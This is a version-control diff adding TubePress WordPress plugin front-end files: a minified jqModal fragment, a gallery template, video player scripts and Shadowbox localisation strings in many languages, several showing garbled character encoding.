+}}}if(q.ajax){var e=q.target||m.w,x=q.ajax,e=(typeof e=="string")?d(e,m.w):d(e),x=(x.substr(0,1)=="@")?d(A).attr(x.substring(1)):x;e.html(q.ajaxText).load(x,function(){if(q.onLoad){q.onLoad.call(this,m)}if(i){m.w.jqmAddClose(d(i,m.w))}j(m)})}else{if(i){m.w.jqmAddClose(d(i,m.w))}}if(q.toTop&&m.o){m.w.before('<span id="jqmP'+m.w[0]._jqm+'"></span>').insertAfter(m.o)
+}(q.onShow)?q.onShow(m):m.w.show();j(m);return o},close:function(f){var e=n[f];if(!e.a){return o}e.a=o;if(a[0]){a.pop();if(!a[0]){k("unbind")}}if(e.c.toTop&&e.o){d("#jqmP"+e.w[0]._jqm).after(e.w).remove()}if(e.c.onHide){e.c.onHide(e)}else{e.w.hide();if(e.o){e.o.remove()}}return o},params:{}};var p=0,n=d.jqm.hash,a=[],c=d.browser.msie&&(d.browser.version=="6.0"),o=false,g=d('<iframe src="javascript:false;document.write(\'\');" class="jqm"></iframe>').css({opacity:0}),j=function(e){if(c){if(e.o){e.o.html('<p style="width:100%;height:100%"/>').prepend(g)
+}else{if(!d("iframe.jqm",e.w)[0]){e.w.prepend(g)}}}h(e)},h=function(f){try{d(":input:visible",f.w)[0].focus()}catch(e){}},k=function(e){d()[e]("keypress",b)[e]("keydown",b)[e]("mousedown",b)},b=function(m){var f=n[a[a.length-1]],i=(!d(m.target).parents(".jqmID"+f.s)[0]);if(i){h(f)}return !i},l=function(e,f,i){return e.each(function(){var m=this._jqm;
+d(f).each(function(){if(!this[i]){this[i]=[];d(this).click(function(){for(var q in {jqmShow:1,jqmHide:1}){for(var r in this[q]){if(n[this[q][r]]){n[this[q][r]].w[q](this)}}}return o})}this[i].push(m)})})}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/normal/html_templates/pre_gallery.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/normal/html_templates/pre_gallery.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/normal/html_templates/pre_gallery.tpl.html	(revision 44)
@@ -0,0 +1,6 @@
+<div class="tubepress_normal_embedded_wrapper">
+	<div class="tubepress_normal_embedded_inner" style="width: {WIDTH}px">
+    	<div id="tubepress_embedded_title_{GALLERYID}" class="tubepress_embedded_title">{TITLE}</div>
+        <div id="tubepress_embedded_object_{GALLERYID}">{EMBEDSRC}</div>
+    </div><!-- tubepress_inner -->
+</div> <!--tubepress_mainvideo--> <br />
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/normal/normal.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/normal/normal.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/normal/normal.js	(revision 44)
@@ -0,0 +1,8 @@
+function tubepress_normal_player(galleryId, videoId) {
+    var videoTitleAnchor = jQuery("#tubepress_title_" + videoId + "_" + galleryId);
+    var mainTitleDiv = jQuery("#tubepress_embedded_title_" + galleryId);
+    mainTitleDiv.html(videoTitleAnchor.html());
+    jQuery("#tubepress_gallery_" + galleryId)[0].scrollIntoView(true);
+}
+
+function tubepress_normal_player_init(baseUrl) { }
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup/popup.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup/popup.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup/popup.js	(revision 44)
@@ -0,0 +1,16 @@
+function tubepress_popup_player(galleryId, videoId) {
+	var wrapperId = "#tubepress_embedded_object_" + galleryId,
+		wrapper = jQuery(wrapperId),
+		obj = jQuery(wrapperId + " > object"),
+		params = obj.children("param"),
+		win = window.open('', '', 
+    		'location=0,directories=0,menubar=0,scrollbars=0,status=0,toolbar=0,width=' + obj.css("width") + ',height=' + obj.css("height")),
+    	preamble = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>' + 
+    		jQuery("#tubepress_title_" + videoId + "_" + galleryId).html() + '</title></head><body style="margin: 0pt; background-color: black;">',
+    	newHtml = tubepress_deep_construct_object(wrapper, params);
+    
+    win.document.write(preamble + newHtml + '</body></html>');
+    win.document.close() ;
+}
+
+function tubepress_popup_player_init(baseUrl) {  }
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/adapters/shadowbox-jquery.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/adapters/shadowbox-jquery.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/adapters/shadowbox-jquery.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof jQuery=="undefined"){throw"Unable to load Shadowbox adapter, jQuery not found"}if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox adapter, Shadowbox not found"}Shadowbox.lib=function(a){return{getStyle:function(c,b){return a(c).css(b)},remove:function(b){a(b).remove()},getTarget:function(b){return b.target},getPageXY:function(b){return[b.pageX,b.pageY]},preventDefault:function(b){b.preventDefault()},keyCode:function(b){return b.keyCode},addEvent:function(d,b,c){a(d).bind(b,c)},removeEvent:function(d,b,c){a(d).unbind(b,c)},append:function(c,b){a(c).append(b)}}}(jQuery);jQuery(Shadowbox.load);(function(a){a.fn.shadowbox=function(b){return this.each(function(){var d=a(this);var e=a.extend({},b||{},a.metadata?d.metadata():a.meta?d.data():{});var c=this.className||"";e.width=parseInt((c.match(/w:(\d+)/)||[])[1])||e.width;e.height=parseInt((c.match(/h:(\d+)/)||[])[1])||e.height;Shadowbox.setup(d,e)})}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ar.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ar.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ar.js	(revision 44)
@@ -0,0 +1,13 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"ar",of:"Ù
+Ù",loading:"Ø¬Ø§Ø± Ø§ÙØªØ­Ù
+ÙÙ",cancel:"Ø®Ø±ÙØ¬",next:"Ø§ÙØªØ§ÙÙ",previous:"Ø§ÙØ³Ø§ØšÙ",play:"ØšØ¯Ø¡",pause:"Ø§ÙÙØ§Ù",close:"Ø§ØºÙØ§Ù",errors:{single:'ÙØ¬Øš Ø§Ù ØªÙÙÙ
+ ØšØªÙØµÙØš Ø§Ø¶Ø§ÙØ© Ø§ÙÙ
+ØªØµÙØ­ <a href="{0}">{1}</a> ÙØ¹Ø±Ø¶ ÙØ°Ø§ Ø§ÙÙ
+Ø­ØªÙÙ.',shared:'ÙØ¬Øš Ø§Ù ØªÙÙÙ
+ ØšØªÙØµÙØš Ø§ÙØ§Ø¶Ø§ÙØªÙÙ  <a href="{0}">{1}</a> Ù <a href="{2}">{3}</a>ÙÙÙ
+ØªØµÙØ­  ÙØ¹Ø±Ø¶ ÙØ°Ø§ Ø§ÙÙ
+Ø­ØªÙÙ.',either:'ÙØ¬Øš Ø§Ù ÙÙÙ
+ ØšØªÙØµÙØš Ø§Ù
+Ø§ Ø§ÙØ§Ø¶Ø§ÙØ© Ø§ÙØªØ§ÙÙÙ <a href="{0}">{1}</a> Ø§Ù <a href="{2}">{3}</a> ÙÙÙ
+ØªØµÙØ­  ÙØ¹Ø±Ø¶ ÙØ°Ø§ Ø§ÙÙ
+Ø­ØªÙÙ.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ca.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ca.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ca.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"ca",of:"de",loading:"carregant",cancel:"CancelÂ·la",next:"SegÃŒent",previous:"Anterior",play:"Reprodueix",pause:"Pausa",close:"Tanca",errors:{single:'Heu d\'instalÂ·lar el complement <a href="{0}">{1}</a> al vostre navegador per veure el contingut.',shared:'Heu d\'instalÂ·lar els complements <a href="{0}">{1}</a> i <a href="{2}">{3}</a> al vostre navegador per veure el contingut.',either:'Heu d\'instalÂ·lar el complement <a href="{0}">{1}</a> o el complement <a href="{2}">{3}</a> al vostre navegador per veure el contingut.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-cs.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-cs.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-cs.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"cs",of:"z(e)",loading:"nahrÃ¡vÃ¡m",cancel:"ZruÅ¡it",next:"DalÅ¡Ã­",previous:"PÅedchozÃ­",play:"PÅehrÃ¡t",pause:"Pauza",close:"ZavÅÃ­t",errors:{single:'Pro sprÃ¡vnÃ© zobrazenÃ­ je potÅeba nainstalovat tento zÃ¡suvnÃœ modul do VaÅ¡eho prohlÃ­ÅŸeÄe: <a href="{0}">{1}</a>.',shared:'Pro sprÃ¡vnÃ© zobrazenÃ­ je potÅeba nainstalovat oba tyto zÃ¡suvnÃ© moduly do VaÅ¡eho prohlÃ­ÅŸeÄe: <a href="{0}">{1}</a> a <a href="{2}">{3}</a>.',either:'Pro sprÃ¡vnÃ© zobrazenÃ­ je potÅeba do VaÅ¡eho prohlÃ­ÅŸeÄe nainstalovat jeden z nÃ¡sledujÃ­cÃ­ch zÃ¡suvnÃœch modulÅ¯: <a href="{0}">{1}</a> nebo <a href="{2}">{3}</a>.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-de-CH.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-de-CH.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-de-CH.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"de-CH",of:"von",loading:"lade",cancel:"Abbrechen",next:"weiter",previous:"zurÃŒck",play:"Abspielen",pause:"Pause",close:"Schliessen",errors:{single:'Um den Inhalt anzeigen zu kÃ¶nnen muss die Browser-Erweiterung <a href="{0}">{1}</a> installiert werden.',shared:'Um den Inhalt anzeigen zu kÃ¶nnen mÃŒssen die beiden Browser-Erweiterungen <a href="{0}">{1}</a> und <a href="{2}">{3}</a> installiert werden.',either:'Um den Inhalt anzeigen zu kÃ¶nnen muss eine der beiden Browser-Erweiterungen <a href="{0}">{1}</a> oder <a href="{2}">{3}</a> installiert werden.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-de-DE.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-de-DE.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-de-DE.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"de",of:"von",loading:"ladend",cancel:"Abbrechen",next:"NÃ€chste",previous:"Vorige",play:"Abspielen",pause:"Pause",close:"SchlieÃen",errors:{single:'Um den Inhalt anzeigen zu kÃ¶nnen muss die Browser-Erweiterung <a href="{0}">{1}</a> installiert werden.',shared:'Um den Inhalt anzeigen zu kÃ¶nnen mÃŒssen die beiden Browser-Erweiterungen <a href="{0}">{1}</a> und <a href="{2}">{3}</a> installiert werden.',either:'Um den Inhalt anzeigen zu kÃ¶nnen muss eine der beiden Browser-Erweiterungen <a href="{0}">{1}</a> oder <a href="{2}">{3}</a> installiert werden.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-en.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-en.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-en.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"en",of:"of",loading:"loading",cancel:"Cancel",next:"Next",previous:"Previous",play:"Play",pause:"Pause",close:"Close",errors:{single:'You must install the <a href="{0}">{1}</a> browser plugin to view this content.',shared:'You must install both the <a href="{0}">{1}</a> and <a href="{2}">{3}</a> browser plugins to view this content.',either:'You must install either the <a href="{0}">{1}</a> or the <a href="{2}">{3}</a> browser plugin to view this content.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-es.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-es.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-es.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"es",of:"de",loading:"cargando",cancel:"Cancelar",next:"Siguiente",previous:"Anterior",play:"Reproducir",pause:"Pausa",close:"Cerrar",errors:{single:'Debes instalar el plugin <a href="{0}">{1}</a> en el navegador para ver este contenido.',shared:'Debes instalar el <a href="{0}">{1}</a> y el <a href="{2}">{3}</a> en el navegador para ver este contenido.',either:'Debes instalar o bien el <a href="{0}">{1}</a> o el <a href="{2}">{3}</a> en el navegador para ver este contenido.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-et.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-et.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-et.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"et",of:"/",loading:"laen",cancel:"Katkesta",next:"JÃ€rgmine",previous:"Eelmine",play:"Start",pause:"Paus",close:"Sulge",errors:{single:'LehekÃŒlje vaatamiseks installeerige browser\'i plugin <a href="{0}">{1}</a>.',shared:'LehekÃŒlje vaatamiseks installeerige plugin\'id <a href="{0}">{1}</a> ja <a href="{2}">{3}</a>.',either:'LehekÃŒlje vaatamiseks installeerige kas <a href="{0}">{1}</a> vÃµi <a href="{2}">{3}</a> plugin.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-fi.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-fi.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-fi.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"fi",of:"/",loading:"ladataan",cancel:"Peruuta",next:"Seuraava",previous:"Edellinen",play:"Toista",pause:"PysÃ€ytÃ€",close:"Sulje",errors:{single:'Sinun on asennettava <a href="{0}">{1}</a> nÃ€hdÃ€ksesi sisÃ€llÃ¶n.',shared:'Sinun on asennettava <a href="{0}">{1}</a> - ja <a href="{2}">{3}</a> selainlaajennukset nÃ€hdÃ€ksesi sisÃ€llÃ¶n.',either:'Sinun on asennetteva joko <a href="{0}">{1}</a> tai <a href="{2}">{3}</a> selainlaajennus nÃ€hdÃ€ksesi sisÃ€llÃ¶n.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-fr.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-fr.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-fr.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"fr",of:"de",loading:"chargement",cancel:"Annuler",next:"Suivant",previous:"PrÃ©cÃ©dent",play:"Lire",pause:"Pause",close:"Fermer",errors:{single:'Vous devez installer le plugin <a href="{0}">{1}</a> pour afficher ce contenu.',shared:'Vous devez installer les plugins <a href="{0}">{1}</a> et <a href="{2}">{3}</a> pour afficher ce contenu.',either:'Vous devez installer le plugin <a href="{0}">{1}</a> ou <a href="{2}">{3}</a> pour afficher ce contenu.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-gl.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-gl.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-gl.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"gl",of:"de",loading:"cargando",cancel:"Cancelar",next:"Seguinte",previous:"Anterior",play:"Reproducir",pause:"Pausa",close:"Pechar",errors:{single:'Ã necesario instalar o plugin <a href="{0}">{1}</a> para visualizar este contido.',shared:'Ã necesario instalar os plugins <a href="{0}">{1}</a> e <a href="{2}">{3}</a> para visualizar este contido.',either:'Ã necesario instalar o plugin <a href="{0}">{1}</a> ou o plugin <a href="{2}">{3}</a> para visualizar este contido.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-he.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-he.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-he.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"he",of:"××ª××",loading:"×××¢×",cancel:"×××××",next:"×××",previous:"××§×××",play:"× ××",pause:"××©××",close:"×¡×××š",errors:{single:'×¢× ××× ×××€××€× ×¢× ×× ×ª ××Š×€××ª ××ª×××<a href="{0}">{1}</a> ×¢××× ×××ª×§×× ××ª ××ª×§× ×.',shared:'×¢× ××× ×××€××€× ×¢× ×× ×ª ××Š×€××ª ××ª××× <a href="{0}">{1}</a> and <a href="{2}">{3}</a> ×¢××× ×××ª×§×× ××ª ×©× × ×××ª×§× ××.',either:'×¢× ×× ×ª ××Š×€××ª ××ª××× <a href="{0}">{1}</a> ×× <a href="{2}">{3}</a> ×¢××× ×××ª×§×× ××ª×§×.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-hu.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-hu.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-hu.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"hu",of:"/",loading:"Betöltés",cancel:"Mégse",next:"Következõ",previous:"Elõzõ",play:"Lejátszás",pause:"Szünet",close:"Bezárás",errors:{single:'A tartalom megjelenítéséhez a következõ bõvítmény szükséges: <a href="{0}">{1}</a>.',shared:'A tartalom megjelenítéséhez a következõ két bõvítmény szükséges: <a href="{0}">{1}</a>, <a href="{2}">{3}</a>.',either:'A tartalom megjelenítéséhez a következõ bõvítmények valamelyikét telepítenie kell: <a href="{0}">{1}</a> vagy <a href="{2}">{3}</a>.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-id.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-id.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-id.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"id",of:"dari",loading:"pengisian",cancel:"Batal",next:"Berikut",previous:"Sebelum",play:"Mainkan",pause:"Hentikan",close:"Tutup",errors:{single:'Anda harus memasang plugin browser <a href="{0}">{1}</a> untuk melihat isi ini.',shared:'Anda harus memasang kedua plugin browser <a href="{0}">{1}</a> dan <a href="{2}">{3}</a> untuk melihat isi ini.',either:'Anda harus memasang plugin browser <a href="{0}">{1}</a> atau <a href="{2}">{3}</a> untuk melihat isi ini.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-is.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-is.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-is.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"is",of:"af",loading:"hleÃ°",cancel:"HÃŠtta",next:"NÃŠsta",previous:"Fyrri",play:"Spila",pause:"PÃ¡sa",close:"Loka",errors:{single:'ÃÃº verÃ°ur aÃ° setja inn ... <a href="{0}">{1}</a> vafra Ã­forritiÃ° til aÃ° skoÃ°a ÃŸetta efni.',shared:'ÃÃº verÃ°ur aÃ° setja inn bÃŠÃ°i <a href="{0}">{1}</a> og <a href="{2}">{3}</a> vafra Ã­forritin til aÃ° skoÃ°a ÃŸetta efni.',either:'ÃÃº verÃ°ur aÃ° setja inn annaÃ° hvort <a href="{0}">{1}</a> eÃ°a <a href="{2}">{3}</a> vafra Ã­forritin til aÃ° skoÃ°a ÃŸetta efni.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-it.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-it.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-it.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"it",of:"di",loading:"in caricamento",cancel:"Annulla",next:"Avanti",previous:"Indietro",play:"Play",pause:"Pausa",close:"Chiudi",errors:{single:'Ã necessario installare il plugin <a href="{0}">{1}</a> per poter vedere questo contenuto.',shared:'Ã necessario installare i plugin <a href="{0}">{1}</a> e <a href="{2}">{3}</a> per poter vedere questo contenuto.',either:'Ã necessario installare o il plugin <a href="{0}">{1}</a> o <a href="{2}">{3}</a> per poter vedere questo contenuto.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ja.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ja.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ja.js	(revision 44)
@@ -0,0 +1,4 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"ja",of:"/",loading:"èª­èŸŒäž­",cancel:"åæ¶",next:"æ¬¡",previous:"å",play:"åç",pause:"äžæåæ­¢",close:"éãã",errors:{single:'ãã®ã³ã³ãã³ããè¡šç€ºããã«ã¯ãã©ã°ã€ã³ <a href="{0}">{1}</a> ãè¿œå ããå¿
+èŠããããŸãã',shared:'ãã®ã³ã³ãã³ããè¡šç€ºããã«ã¯ãã©ã°ã€ã³ <a href="{0}">{1}</a> ãš <a href="{2}">{3}</a> ãè¿œå ããå¿
+èŠããããŸãã',either:'ãã®ã³ã³ãã³ããè¡šç€ºããã«ã¯ãã©ã°ã€ã³ <a href="{0}">{1}</a> ãŸãã¯ <a href="{2}">{3}</a> ãè¿œå ããå¿
+èŠããããŸãã'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ko.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ko.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-ko.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"ko",of:"ì€",loading:"ë¡ë© ì€",cancel:"ì·šì",next:"ë€ì",previous:"ìŽì ",play:"ì¬ì",pause:"ì ì ë©ì¶€",close:"ë«êž°",errors:{single:'ìŽ ëŽì©ì ë³Žë €ë©Ž <a href="{0}">{1}</a> ëžëŒì°ì  íë¬ê·žìžì ì€ì¹íì­ìì€.',shared:'ìŽ ëŽì©ì ë³Žë €ë©Ž <a href="{0}">{1}</a> ì/ê³Œ <a href="{2}">{3}</a> ëžëŒì°ì  íë¬ê·žìžì ì€ì¹íì­ìì€.',either:'ìŽ ëŽì©ì ë³Žë €ë©Ž <a href="{0}">{1}</a> ëë <a href="{2}">{3}</a> ëžëŒì°ì  íë¬ê·žìžì ì€ì¹íì­ìì€.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-my.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-my.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-my.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"my",of:"",loading:"memuat turun",cancel:"Batal",next:"Seterusnya",previous:"Sebelum",play:"Mainkan",pause:"Hentikan",close:"Tutup",errors:{single:'Anda perlu memasang <a href="{0}">{1}</a> plugin pelayar bagi melihat kandungan ini.',shared:'Anda perlu memasang kedua-dua <a href="{0}">{1}</a> dan <a href="{2}">{3}</a> plugin pelayar bagi melihat kandungan ini.',either:'Anda perlu memasang samada <a href="{0}">{1}</a> atau <a href="{2}">{3}</a> plugin pelayar bagi melihat kandungan ini.'}};
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-nl.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-nl.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/lib/languages/shadowbox-nl.js	(revision 44)
@@ -0,0 +1,1 @@
+if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, Shadowbox not found."}Shadowbox.lang={code:"nl",of:"van",loading:"laden",cancel:"Annuleren",next:"Volgende",previous:"Vorige",play:"Play",pause:"Pause",close:"Sluiten",errors:{single:'U moet de <a href="{0}">{1}</a> browser plugin installeren om dit media type te kunnen bekijken.',shared:'U moet de <a href="{0}">{1}</a> en de <a href="{2}">{3}</a> browser plugins installeren om dit media type te kunnen bekijken.',either:'U moet de <a href="{0}">{1}</a> of de <a href="{2}">{3}</a> browser plugin installeren om dit media type te kunnen bekijken.'}};
